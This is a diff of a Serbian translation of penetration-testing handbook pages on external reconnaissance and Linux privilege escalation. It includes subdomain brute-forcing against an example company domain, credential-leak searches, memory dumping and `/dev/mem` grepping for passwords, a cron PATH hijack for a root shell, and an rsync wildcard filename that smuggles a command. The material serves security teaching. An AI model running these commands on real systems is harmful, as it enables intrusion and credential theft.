Ako pronađete neku **domenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju sredstava, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||
&#xNAN;_Note da ponekad je domena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
||||
|
||||
|
||||
&#xNAN;_Note da ponekad domena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
||||
|
||||
## Poddomene
|
||||
|
||||
@ -253,7 +250,7 @@ vita -d tesla.com
|
||||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Postoje **drugi zanimljivi alati/API** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su:
|
||||
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su:
|
||||
|
||||
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena
|
||||
```bash
|
||||
@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove iz AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koju datu domenu.
|
||||
- [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
@ -334,9 +331,9 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao
|
||||
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Takođe, IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
Takođe i IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Najpreporučivaniji alati za DNS brute-force su:
|
||||
Najpreporučiviji alati za DNS brute-force su:
|
||||
|
||||
- [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izvršavao DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
|
||||
```bash
|
||||
@ -348,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go, koji vam omogućava da enumerišete validne poddomene koristeći aktivni bruteforce, kao i da rešavate poddomene sa obradom wildcard-a i jednostavnom podrškom za ulaz-izlaz.
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go, koji vam omogućava da enumerišete validne poddomene koristeći aktivni bruteforce, kao i da rešavate poddomene sa obradom wildcard-a i jednostavnom podrškom za ulazno-izlazne podatke.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -388,7 +385,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
||||
|
||||
#### Pametna generacija permutacija
|
||||
|
||||
@ -406,9 +403,13 @@ echo www | subzuf facebook.com
|
||||
|
||||
Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkrivanje poddomena** sa domena koristeći **Trickest workflows** tako da ne moram ručno da pokrećem gomilu alata na svom računaru:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
### **VHosts / Virtuelni Hostovi**
|
||||
|
||||
@ -439,25 +440,25 @@ VHostScan -t example.com
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Ponekad ćete naići na stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/subdomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete zloupotrebiti ovo ponašanje da **otkrijete** nove **subdomene**.
|
||||
Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je važeća domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Brute Force za Buckete**
|
||||
|
||||
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na bilo koju vrstu **bucketa**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neki tip **bucketa**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Takođe, kako ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive bucketa i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorisanje**
|
||||
|
||||
Možete **monitorisati** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)to radi.
|
||||
Možete **monitorisati** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Ako se **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Ako pronađete bilo koju **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od usluga koje se pokreću, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||
&#xNAN;_Note da ponekad subdomena je hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
||||
|
||||
## IP-ovi
|
||||
@ -465,7 +466,7 @@ Ako pronađete bilo koju **subdomenu sa IP-om koji se razlikuje** od onih koje s
|
||||
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
|
||||
Sada je vreme da **prikupite sve IP-ove iz tih opsega** i za **domene/subdomene (DNS upiti).**
|
||||
|
||||
Koristeći usluge iz sledećih **besplatnih API-ja** možete takođe pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP-ove korišćene od strane domena i subdomena**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
@ -473,7 +474,7 @@ Takođe možete proveriti za domene koje upućuju na određenu IP adresu koriste
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
**Skenirajte sve IP-ove koji ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim servisima možda ćete **moći da pronađete ranjivosti**.
|
||||
**Skenirajte sve IP-ove koji ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim uslugama možda ćete **moći da pronađete ranjivosti**.
|
||||
|
||||
**Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.**
|
||||
|
||||
@ -493,13 +494,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
```
|
||||
### **Screenshots**
|
||||
|
||||
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
|
||||
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, pojednostavimo to i počnimo tako što ćemo napraviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
|
||||
|
||||
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **screenshotove** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne.
|
||||
|
||||
## Javni Cloud Resursi
|
||||
## Public Cloud Assets
|
||||
|
||||
Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
@ -509,17 +510,17 @@ Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u ka
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Zatim, sa tim rečima trebali biste generisati **permutacije** (proverite [**Drugu rundu DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
|
||||
Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
|
||||
|
||||
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Zapamtite da kada tražite Cloud Resurse, trebali biste **gledati više od samo kanti u AWS-u**.
|
||||
Zapamtite da kada tražite Cloud resurse, trebate **gledati više od samo kanti u AWS-u**.
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
|
||||
Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati videti šta vam nude i da li ih možete zloupotrebiti.
|
||||
|
||||
## Emailovi
|
||||
## Emails
|
||||
|
||||
Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
|
||||
|
||||
@ -528,41 +529,41 @@ Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam *
|
||||
- API [**https://app.snov.io/**](https://app.snov.io/) (besplatna verzija)
|
||||
- API [**https://minelead.io/**](https://minelead.io/) (besplatna verzija)
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Emailovi će biti korisni kasnije za **brute-force web prijave i auth servise** (kao što je SSH). Takođe, potrebni su za **phishing**. Pored toga, ovi API-ji će vam dati još više **informacija o osobi** iza emaila, što je korisno za phishing kampanju.
|
||||
|
||||
## Curjenje Akreditiva
|
||||
## Credential Leaks
|
||||
|
||||
Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite akreditive koji su procurili u prošlosti i koji pripadaju tim emailovima:
|
||||
Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima:
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Ako pronađete **validne procurene** akreditive, ovo je vrlo lakša pobeda.
|
||||
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
|
||||
|
||||
## Curenje Tajni
|
||||
## Secrets Leaks
|
||||
|
||||
Curenje akreditiva je povezano sa hakovanjem kompanija gde je **osetljive informacije procurile i prodane**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
|
||||
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljive informacije procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
|
||||
|
||||
### Github Curjenja
|
||||
### Github Leaks
|
||||
|
||||
Akreditivi i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
||||
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repoe** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
|
||||
Kredencijali i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
||||
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) na njima.
|
||||
|
||||
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstova** koji su **URL-ovi prosleđeni** njemu, jer ponekad **web stranice takođe sadrže tajne**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
|
||||
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje možete takođe pretraživati u organizaciji koju napadate:
|
||||
|
||||
{{#ref}}
|
||||
github-leaked-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
### Curenja Paste
|
||||
### Pastes Leaks
|
||||
|
||||
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\
|
||||
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete na više od 80 paste sajtova u isto vreme.
|
||||
@ -571,13 +572,13 @@ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pr
|
||||
|
||||
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
|
||||
|
||||
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._
|
||||
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas Google vrlo brzo blokirati._
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Ako pronađete **validne procurene** akreditive ili API tokene, ovo je vrlo laka pobeda.
|
||||
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo laka pobeda.
|
||||
|
||||
## Javne Ranjivosti Koda
|
||||
## Public Code Vulnerabilities
|
||||
|
||||
Ako ste otkrili da kompanija ima **open-source kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu.
|
||||
|
||||
@ -591,13 +592,13 @@ Takođe postoje besplatne usluge koje vam omogućavaju da **skenirate javne repo
|
||||
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**Pentesting Web Metodologija**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Takođe želim da posebno pomenem sekciju [**Web Automatski Skenere open source alati**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, ako ne biste trebali očekivati da pronađu veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako bi imali neke inicijalne web informacije.**
|
||||
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.**
|
||||
|
||||
## Rekapitulacija
|
||||
## Recapitulation
|
||||
|
||||
> Čestitamo! U ovom trenutku ste već izvršili **sve osnovne enumeracije**. Da, to je osnovno jer se može uraditi mnogo više enumeracija (videćemo više trikova kasnije).
|
||||
|
||||
@ -610,10 +611,10 @@ Dakle, već ste:
|
||||
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
|
||||
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
|
||||
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
||||
8. **Emailovi**, **curenje akreditiva**, i **curenje tajni** koji bi vam mogli dati **veliku pobedu vrlo lako**.
|
||||
8. **Emailovi**, **curenje kredencijala** i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**.
|
||||
9. **Pentesting svih web stranica koje ste pronašli**
|
||||
|
||||
## **Potpuni Automatski Alati za Recon**
|
||||
## **Full Recon Automatic Tools**
|
||||
|
||||
Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog opsega.
|
||||
|
||||
@ -622,8 +623,8 @@ Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog o
|
||||
- [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||
- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Malo star i nije ažuriran
|
||||
|
||||
## **Reference**
|
||||
## **References**
|
||||
|
||||
- Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**Metodologija lovca na greške v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
- Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sistem informacije
|
||||
## Informacije o sistemu
|
||||
|
||||
### OS informacije
|
||||
### Informacije o OS-u
|
||||
|
||||
Hajde da počnemo da stičemo neka saznanja o operativnom sistemu koji se pokreće
|
||||
```bash
|
||||
@ -26,7 +26,7 @@ Zanimljive informacije, lozinke ili API ključevi u promenljivim okruženja?
|
||||
```
|
||||
### Kernel exploits
|
||||
|
||||
Proverite verziju kernela i da li postoji neki exploit koji se može iskoristiti za eskalaciju privilegija
|
||||
Proverite verziju kernela i da li postoji neki exploit koji se može iskoristiti za eskalaciju privilegija.
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
|
||||
```
|
||||
## Korisni softver
|
||||
|
||||
Nabrojite korisne binarne datoteke
|
||||
Nabrojte korisne binarne datoteke
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
@ -156,9 +156,9 @@ Preporučuje se da se ručno proveri verzija sumnjivijeg instaliranog softvera.
|
||||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
```
|
||||
Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite da li je instaliran zastareli i ranjiv softver.
|
||||
Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastarele i ranjive softvere instalirane unutar mašine.
|
||||
|
||||
> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju neke aplikacije poput OpenVAS-a ili sličnih koje će proveriti da li je neka verzija instaliranog softvera ranjiva na poznate eksploite._
|
||||
> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju neki alati poput OpenVAS-a ili sličnih koji će proveriti da li je neka instalirana verzija softvera ranjiva na poznate eksploite._
|
||||
|
||||
## Procesi
|
||||
|
||||
@ -168,7 +168,7 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra unutar komandne linije procesa.\
|
||||
Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proveravajući `--inspect` parametar unutar komandne linije procesa.\
|
||||
Takođe **proverite svoje privilegije nad binarnim datotekama procesa**, možda možete prepisati nečije.
|
||||
|
||||
### Praćenje procesa
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Koristimo ove informacije da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl.
|
||||
Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -231,13 +231,13 @@ rm $1*.bin
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` omogućava pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Virtuelni adresni prostor kernela može se pristupiti koristeći /dev/kmem.\
|
||||
Obično, `/dev/mem` je samo čitljiv za **root** i **kmem** grupu.
|
||||
Obično, `/dev/mem` je samo čitljiv od strane **root** korisnika i **kmem** grupe.
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
### ProcDump za linux
|
||||
|
||||
ProcDump je linux verzija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
ProcDump je Linux verzija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
```
|
||||
procdump -p 1714
|
||||
|
||||
@ -281,7 +281,7 @@ Ako otkrijete da proces autentifikacije radi:
|
||||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
```
|
||||
Možete dumpovati proces (vidite prethodne sekcije da pronađete različite načine za dumpovanje memorije procesa) i pretražiti kredencijale unutar memorije:
|
||||
Možete dumpovati proces (pogledajte prethodne sekcije da pronađete različite načine za dumpovanje memorije procesa) i pretražiti kredencijale unutar memorije:
|
||||
```bash
|
||||
./dump-memory.sh 2027
|
||||
strings *.dump | grep -i password
|
||||
@ -325,7 +325,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
||||
|
||||
Na primer, unutar _/etc/crontab_ možete pronaći PUTANJU: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
|
||||
(_Obratite pažnju na to kako korisnik "user" ima privilegije pisanja nad /home/user_)
|
||||
(_Obratite pažnju na to da korisnik "user" ima privilegije pisanja nad /home/user_)
|
||||
|
||||
Ako unutar ovog crontaba korisnik root pokuša da izvrši neku komandu ili skriptu bez postavljanja putanje. Na primer: _\* \* \* \* root overwrite.sh_\
|
||||
Tada možete dobiti root shell koristeći:
|
||||
@ -340,9 +340,9 @@ Ako skripta koju izvršava root sadrži “**\***” unutar komande, možete to
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
